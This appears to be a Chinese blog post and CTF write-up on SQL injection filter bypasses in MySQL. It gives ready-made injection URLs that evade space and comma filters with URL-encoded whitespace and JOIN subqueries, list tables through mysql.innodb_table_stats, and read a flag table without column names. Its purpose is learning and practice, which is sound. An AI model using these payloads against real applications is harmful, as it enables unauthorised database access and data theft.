当前位置:Gxlcms > 数据库问题 > SQLi —— 逗号,空格,字段名过滤突破

SQLi —— 逗号,空格,字段名过滤突破

时间:2021-07-01 10:21:17 帮助过:4人阅读

group_concat(table_name) from mysql.innodb_table_stats where database_name like database()

bypass

对于bypass waf有很多骚姿势,把一些最基本的列出来。

1.首先我们空格被过滤,这个绕过方法有很多

  • 使用注释绕过,/**/,如果因为’/‘被过滤,导致此方法无法使用
  • 使用括号绕过,括号可以用来包围子查询,任何计算结果的语句都可以使用()包围,并且两端可以没有多余的空格
  • 使用符号替代空格 %20 %09 %0d %0b %0c %0d %a0 %0a,这里我选择了%0a进行绕过

2.对于,的过滤,之前没有过了解,查了很多资料和文章,发现了一个姿势

Join

Join绕过逗号,配合联合注入payload(发现图片可能不能直接复制粘贴代码,可能造成复现不方便)

mysql> SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c JOIN (SELECT 4)d;
+---+---+---+---+
| 1 | 2 | 3 | 4 |
+---+---+---+---+
| 1 | 2 | 3 | 4 |
+---+---+---+---+
1 row in set (0.00 sec)  
(SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c JOIN (SELECT 4)d;

这样就类似如下的形式

mysql> select*from(select 1,2,3,4)a;
+---+---+---+---+
| 1 | 2 | 3 | 4 |
+---+---+---+---+
| 1 | 2 | 3 | 4 |
+---+---+---+---+
1 row in set (0.00 sec)

可以构造一些查询语句

mysql> SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c JOIN (SELECT version())d;
+---+---+---+-----------+
| 1 | 2 | 3 | version() |
+---+---+---+-----------+
| 1 | 2 | 3 | 5.5.53    |
+---+---+---+-----------+
1 row in set (0.00 sec)  

bypass逗号,实现联合注入

select*from people where id=-1 union select*from((select 1)b join (select 2)a join (select 3)c join (select 4)d);

技术图片

 

 

结合分析

因为没碰easysql,所以只能靠wp来结合分析

第一步

1. 尝试寻找回显点,使用join bypass逗号过滤。

/article.php?id=0‘ union%0bselect * from (select 1)a join (select 2)b join (select 3)c join (select 4)d%23   

通过union 查询注入寻找注入点,逗号被过滤了,通过join来bypass 逗号,爆出显示位

第二步

2. 尝试爆表,但是or被过滤,我们选取另一个系统表mysql.innodb_table_stats。

/article.php?id=0‘ union%0bselect * from (select 1)a join (select (select group_concat(table_name) from mysql.innodb_table_stats where database_name like database()))b join (select 3)c join (select 4)d%23  

过滤了or,通过innodb来爆出表名, 第二步没有什么好分析的,就是记得(select (select group_concat(table_name) from mysql.innodb_table_stats where database_name like database()))b,里面只能一个字段一个数据,不能多个字段。这里也可以不用子查询,用limit来限制=>(select table_name from  mysql.innodb_table_stats where database_name like database())b,但是不如group_concat来的快速啊,直接列出所有的表名,不需要limit一步一步的读表名。

第三步

/article.php?id=0‘ union%0bselect * from (select 1)z join (select i.3 from (select * from (select 1)a join (select 2)b join (select 3)c union%0bselect * from fl111aa44a99g)i limit 1 offset 1)x join (select 3)v join (select 3)n%23  

这里就分析下最重要的一部分

join (select i.3 from (select * from (select 1)a join (select 2)b join (select 3)c union%0bselect * from fl111aa44a99g)i limit 1 offset 1)x

这里是通过无列名注入结合join bypass逗号。

唯一的区别就是将(select 1,2,3 union select*from fl111aa44a99g)i 替换为join的方式(select * from (select 1)a join (select 2)b join (select 3)c union%0bselect * from fl111aa44a99g)i

睡觉睡觉

1.40了

 

 

 

 

  

 

 

 

 

学习链接:

https://blog.csdn.net/qq_40500631/article/details/89631904

http://p0desta.com/2018/03/29/SQL%E6%B3%A8%E5%85%A5%E5%A4%87%E5%BF%98%E5%BD%95/#1-10-%E6%97%A0%E5%88%97%E5%90%8D%E6%B3%A8%E5%85%A5

https://www.o2oxy.cn/1929.html

SQLi —— 逗号,空格,字段名过滤突破

标签:资料   文档   ade   ike   利用   dock   绕过   tab   ima   

人气教程排行